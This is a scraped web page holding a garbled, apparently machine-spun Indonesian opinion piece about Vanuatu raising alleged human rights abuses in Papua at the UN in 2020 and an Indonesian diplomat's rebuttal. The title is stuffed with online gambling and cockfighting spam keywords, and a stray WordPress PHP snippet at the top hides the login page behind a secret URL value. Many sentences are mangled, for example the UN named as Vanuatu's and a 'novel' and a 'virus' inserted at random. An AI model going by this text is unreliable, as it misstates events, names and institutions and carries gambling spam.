//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Manuver Vanuatu melawan Papua dan sosialisme Melanesia | s1288 net_sabung ayam online s128_sv388

Penulis: Dr Dong Shi Eksekusi Inisiatif Demokrasi Indonesia (TIDI) Arya Sandhiyudha

Tribun – Dalam beberapa hari terakhir, Perserikatan Bangsa-Bangsa Vanuatu dua kali dalam sidang reguler keempat-kelima PBB mengangkat isu Papua. Dewan Hak Asasi Manusia diketuai oleh diplomatnya Antonella Picone pada 25 September 2020.

Kemudian Perdana Menteri Bob Loughman pada September 2020 Diadakan pada pertemuan debat umum Sidang Umum Perserikatan Bangsa-Bangsa pada tanggal 27. Diskriminasi dan pelanggaran HAM di Papua. Seorang diplomat muda, Silvany Austin Pasaribu.

Pengangkatan seorang diplomat muda menanggapi pernyataan Perdana Menteri nampaknya menjadi kebijakan Kementerian Luar Negeri RI, karena sejak tahun 2016 Kebijakan ini telah diterapkan sejak itu, namun pada tahun 2018 hak jawab diteruskan oleh Duta Besar RI untuk PBB Dian Triansyah Djani.

Narasi Silvany sangat tajam, dan bahasa yang digunakan juga sangat kasar, termasuk malu dan cuek. Novel tersebut sangat kasar, bahkan ironis, namun istilah ini sepertinya berlaku untuk Vanuatu yang selama ini selalu memusuhi Indonesia dan tidak pernah mencoba mencari tahu keadaan sebenarnya. Piagam Perserikatan Bangsa-Bangsa.

Baca: Usai Wakil Vanuatu Terpukul, Diplomat Muda Virus Silvany Austin Pasaribu-Negara yang Mengkritik Indonesia Belum Meratifikasi Konvensi Internasional. Konvensi Internasional tentang Penghapusan Segala Bentuk Diskriminasi Rasial (“Konvensi Internasional tentang Penghapusan Segala Bentuk Diskriminasi Rasial”) diusulkan pada tahun 1965, dan Indonesia meratifikasi konvensi tersebut.

Add Comment

Your email address will not be published. Required fields are marked *